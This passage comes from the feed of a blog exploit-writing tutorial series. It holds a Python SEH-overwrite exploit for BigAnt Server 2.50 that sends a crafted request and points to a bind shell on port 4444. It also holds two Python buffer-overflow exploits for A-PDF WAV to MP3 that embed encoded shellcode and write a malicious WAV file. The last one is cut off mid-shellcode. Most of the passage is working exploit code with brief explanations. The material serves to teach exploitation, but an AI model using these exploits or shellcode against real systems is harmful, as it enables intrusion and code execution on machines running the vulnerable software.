<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
payload = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">985</span>        <span style="color: #808080; font-style: italic;"># seh overwritten at 989</span>
next_seh = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span>   <span style="color: #808080; font-style: italic;"># short jump 6 bytes</span>
seh = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>19<span style="color: #000099; font-weight: bold;">\x</span>9a<span style="color: #000099; font-weight: bold;">\x</span>0f&quot;</span>    <span style="color: #808080; font-style: italic;"># 0F9A19CD p/p/r from vbajet32.dll</span>
nops = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">10</span>        <span style="color: #808080; font-style: italic;"># nop sled</span>
sc = shellcode            <span style="color: #808080; font-style: italic;"># 710 bytes available for shellcode</span>
padding = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">1300</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[*] BigAnt Server v2.50 SEH Overwrite 0day&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[*] Written and discovered by Blake&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[*] Tested on Windows XP SP3<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Connecting to %s on port %d&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>host,port<span style="color: black;">&#41;</span>
s = <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span>, <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">try</span>:
   s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host,port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">except</span>:
   <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[x] Error establishing connection<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
   <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Sending payload&quot;</span>
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;GET &quot;</span> + payload + next_seh + seh + nops + sc + padding + <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Connect to bind shell on port 4444<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># milw0rm.com [2009-09-15]</span></pre></div></div>

<p><strong>Pwned!</strong></p>
<p>Here there is a video demonstration:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="513" height="410" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=16506487&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" /><embed type="application/x-shockwave-flash" width="513" height="410" src="http://vimeo.com/moogaloop.swf?clip_id=16506487&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>See you<br />
Michele `m7x` Manzotti</p>
<p>References: Thanks to <a href="http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">Corelan</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/tutorial-write-an-exploit-part-3-seh/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial write an exploit Part 2</title>
		<link>http://www.manzotti.eu/tutorial-write-an-exploit-part-2</link>
		<comments>http://www.manzotti.eu/tutorial-write-an-exploit-part-2#comments</comments>
		<pubDate>Fri, 29 Oct 2010 11:00:25 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[manzotti.eu]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[blind return]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[call esp]]></category>
		<category><![CDATA[esp]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[jmp]]></category>
		<category><![CDATA[pop return]]></category>
		<category><![CDATA[push return]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[write]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1968</guid>
		<description><![CDATA[After having fully understood the tutorial part 1 let&#8217;s go to read the second one. In this tutorial we will see further techniques to exploit a BOF of the program a-pdf, a tool to convert WAV to MP3. JUMP or CALL With these techniques you use a register that contains the address where the shellcode [...]]]></description>
			<content:encoded><![CDATA[<p>After having fully understood the <a href="http://www.manzotti.eu/tutorial-write-an-exploit-part-1-jmp-to-esp">tutorial part 1</a> let&#8217;s go to read the second one. In this tutorial we will see further techniques to exploit a BOF of the program <a href="http://www.exploit-db.com/application/14676/">a-pdf</a>, a tool to convert WAV to MP3.</p>
<h3>JUMP or CALL</h3>
<p>With these techniques you use a register that contains the address where the shellcode resides and put it in EIP. This technique has been described in the tutorial part 1, with variant that could be used with a call instead of jmp.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># http://www.exploit-db.com/exploits/14681/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title:    A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit</span>
<span style="color: #808080; font-style: italic;"># Exloit By:    Dr_IDE</span>
<span style="color: #808080; font-style: italic;"># Tested On:    XPSP3</span>
<span style="color: #808080; font-style: italic;"># Date:        August 18, 2010</span>
<span style="color: #808080; font-style: italic;"># Download:     http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html</span>
<span style="color: #808080; font-style: italic;"># Reference:    http://www.exploit-db.com/exploits/14676/</span>
<span style="color: #808080; font-style: italic;"># Usage:    Import File, Select It, Click Play, Calc.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># EDB Notes:</span>
<span style="color: #808080; font-style: italic;"># This exploit uses SEH to gain code execution, while EDB 14676 uses a direct</span>
<span style="color: #808080; font-style: italic;"># EIP overwrite which is operating system specific.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################################</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH</span>
&nbsp;
buff = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4128</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
<span style="color: #808080; font-style: italic;"># 1002F1C3 call esp in lame_enc.dll</span>
eip = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>c3<span style="color: #000099; font-weight: bold;">\x</span>f1<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
nops = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
shellcode = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>da<span style="color: #000099; font-weight: bold;">\x</span>b1<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5b<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>fc<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>15&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ee<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>ad<span style="color: #000099; font-weight: bold;">\x</span>7d<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>c3&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>3a<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>d1<span style="color: #000099; font-weight: bold;">\x</span>cc<span style="color: #000099; font-weight: bold;">\x</span>c5<span style="color: #000099; font-weight: bold;">\x</span>1e<span style="color: #000099; font-weight: bold;">\x</span>e2<span style="color: #000099; font-weight: bold;">\x</span>e0<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>cd&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>0f<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>87<span style="color: #000099; font-weight: bold;">\x</span>df<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>99&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>d3<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>ae<span style="color: #000099; font-weight: bold;">\x</span>0c<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>e9<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>92<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>dc<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>28&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>27<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>b5<span style="color: #000099; font-weight: bold;">\x</span>98<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>fa&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>f6<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>9f<span style="color: #000099; font-weight: bold;">\x</span>86<span style="color: #000099; font-weight: bold;">\x</span>3e<span style="color: #000099; font-weight: bold;">\x</span>2a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>d8<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>94<span style="color: #000099; font-weight: bold;">\x</span>ab<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>a2<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>88&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>af<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c2<span style="color: #000099; font-weight: bold;">\x</span>ce<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>cb<span style="color: #000099; font-weight: bold;">\x</span>1a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>ec<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>95<span style="color: #000099; font-weight: bold;">\x</span>8e<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>81<span style="color: #000099; font-weight: bold;">\x</span>a1<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>9b<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>84<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>09<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>86&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>97<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>a6<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>ac<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>60&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>9e&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
sploit = <span style="color: black;">&#40;</span>buff + eip + nops +  shellcode<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">try</span>:
    f1 = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Drop.wav&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>    <span style="color: #808080; font-style: italic;">#No file checking, any file extension works... (.xyz .foo .abc)</span>
    f1.<span style="color: black;">write</span><span style="color: black;">&#40;</span>sploit<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    f1.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'[*] Success. Load File.'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">except</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Error, could not write the file.&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<h3>POP RETURN</h3>
<p>If any register points directly to the shellcode but you can see the address on the stack (first, second, third address in the stack) that points to the shellcode then you can load that value into EIP by first putting a pointer to pop ret or pop pop ret (depending on where the location is found on the stack ) into EIP.<br />
In the first tutorial we have seen that the shellcode was located exactly into EIP, it was necessary to add more 8 nops so the shellcode began at first byte.<br />
Let&#8217;s suppose that the shellcode is located after 8 bytes. To catch it we could use a pop pop ret, by looking for in dll loaded, and then load the jmp esp to point directly to the shellcode. So we have an address that points to a pop pop ret opcode into EIP and soon after the 8 bytes (junk) there is the jmp esp opcode that jumps to the shellcode.</p>
<p>[ BOF ] [pop pop ret] [junk] [ jmp esp ] [nops] [shellcode]</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># http://www.exploit-db.com/exploits/14681/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title:    A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit</span>
<span style="color: #808080; font-style: italic;"># Exloit By:    Dr_IDE</span>
<span style="color: #808080; font-style: italic;"># Tested On:    XPSP3</span>
<span style="color: #808080; font-style: italic;"># Date:        August 18, 2010</span>
<span style="color: #808080; font-style: italic;"># Download:     http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html</span>
<span style="color: #808080; font-style: italic;"># Reference:    http://www.exploit-db.com/exploits/14676/</span>
<span style="color: #808080; font-style: italic;"># Usage:    Import File, Select It, Click Play, Calc.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># EDB Notes:</span>
<span style="color: #808080; font-style: italic;"># This exploit uses SEH to gain code execution, while EDB 14676 uses a direct</span>
<span style="color: #808080; font-style: italic;"># EIP overwrite which is operating system specific.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################################</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH</span>
&nbsp;
buff = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4128</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
<span style="color: #808080; font-style: italic;"># 00428F3F jmp esp in wavtomp3.exe</span>
<span style="color: #808080; font-style: italic;"># 10034207 pop pop ret in lame_enc.dll</span>
eip = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
esp = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3f<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
junk = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">8</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
nops = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
shellcode = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>da<span style="color: #000099; font-weight: bold;">\x</span>b1<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5b<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>fc<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>15&quot;</span>
